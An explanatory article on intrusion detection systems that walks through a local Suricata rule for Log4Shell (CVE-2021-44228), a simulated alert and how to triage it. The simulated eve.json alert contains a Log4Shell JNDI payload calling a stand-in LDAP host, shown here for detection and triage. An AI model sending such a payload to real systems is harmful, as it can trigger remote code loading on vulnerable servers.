What is IDS (Intrusion Detection System)?

There are two places to put one.

• A network IDS (NIDS) receives a copy of traffic from a switch SPAN port or a network TAP and inspects the packets and the protocols inside them; Suricata, Snort, and Zeek are the open-source engines you will meet most.
• A host IDS (HIDS) runs as an agent on a server or workstation and watches log files, file integrity, and system changes; OSSEC is the long-standing open-source example.

NIST SP 800-94, the US government guide to these tools, splits them into four classes: network-based, wireless, network behavior analysis, and host-based. A NIDS sees every host on its segment but cannot read inside encrypted sessions it does not decrypt. A HIDS sees what actually happened on the machine, and only on machines that run the agent.

IDS vs IPS comes down to placement and the rule action. An IPS sits inline, so traffic passes through it and it can drop packets. An IDS sits out of band and can only alert. Suricata does both with the same engine: a rule that starts with alert logs a match, and a rule that starts with drop blocks the packet, but only when Suricata runs inline in IPS mode. The alert records what happened in its action field, which reads allowed unless a drop rule fired in IPS mode or a reject rule fired, in which case it reads blocked. On a passive sensor every alert says allowed, so that field never tells you whether the attack worked.

Most of what fires comes from signatures, patterns of known attacks written as rules. Anomaly detection adds alerts for traffic that departs from a learned baseline, and protocol analysis flags traffic that breaks the rules of HTTP, DNS, or SMB. Signatures are precise and blind to anything nobody has written a rule for; anomaly detection catches some of the new at the price of noise.

Here is a signature and the alert it produces. The rule is a local one written for this page, not a published ruleset entry, and it looks for the Log4Shell lookup string (CVE-2021-44228) in the HTTP User-Agent header:

alert http any any -> $HOME_NET any (msg:"LOCAL Log4j JNDI lookup in User-Agent"; flow:established,to_server; http.user_agent; content:"${jndi:"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

This is the alert as Suricata writes it to eve.json (simulated example generated by SOCSimulator Research; the addresses come from private and documentation ranges):

{"timestamp":"2026-10-08T14:22:31.418922+0000","flow_id":1184732209933312,"event_type":"alert","src_ip":"198.51.100.23","src_port":51544,"dest_ip":"10.20.8.15","dest_port":8080,"proto":"TCP","alert":{"action":"allowed","gid":1,"signature_id":1000001,"rev":1,"signature":"LOCAL Log4j JNDI lookup in User-Agent","category":"Attempted Administrator Privilege Gain","severity":1},"http":{"hostname":"10.20.8.15","url":"/api/login","http_user_agent":"${jndi:ldap://203.0.113.9:1389/a}","http_method":"GET","protocol":"HTTP/1.1","status":401,"length":52},"app_proto":"http"}

The same event in the older one-line fast.log format:

10/08/2026-14:22:31.418922 [**] [1:1000001:1] LOCAL Log4j JNDI lookup in User-Agent [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 198.51.100.23:51544 -> 10.20.8.15:8080

Read it field by field

Severity 1 comes from the classtype: attempted-admin maps to priority 1 in Suricata's default classification.config, so this lands near the top of the queue whatever the outcome. The action is allowed, which on a passive sensor is always true. The flow_id is the key to everything else, because Suricata writes the http, flow, and fileinfo events of one session under the same flow_id, and jq 'select(.flow_id==1184732209933312)' eve.json returns the whole conversation. The 401 status says the application rejected the login. It does not say nothing logged the header: Log4Shell fires when a vulnerable Log4j writes the string to a log, and failed logins are exactly what applications log.

Triage answers three questions in order

1. Is the target exposed? Check whether 10.20.8.15 runs a Java service with log4j-core in the affected range, which NVD gives as 2.0-beta9 through 2.15.0, excluding the 2.12.2, 2.12.3, and 2.3.1 security releases. If the host runs a static nginx site, the match is real and harmless: close it as an attempt against a target that is not vulnerable.
2. Did the lookup execute? A vulnerable server that processed the string reaches out to the address in the payload, here LDAP on 203.0.113.9 port 1389. Search flow events and firewall logs for 10.20.8.15 connecting to 203.0.113.9 after 14:22:31. One outbound session is the strongest sign the exploit worked, and it turns the alert into an incident.
3. Is it a campaign? Count the same signature_id across other dest_ip values in the last 24 hours: one source spraying the whole subnet is internet-wide scanning, one hit on the only Java host is targeting.

This signature also has a classic false positive, because vulnerability scanners test for Log4Shell by sending the same string. Check the source against your own scanner ranges before you page anyone.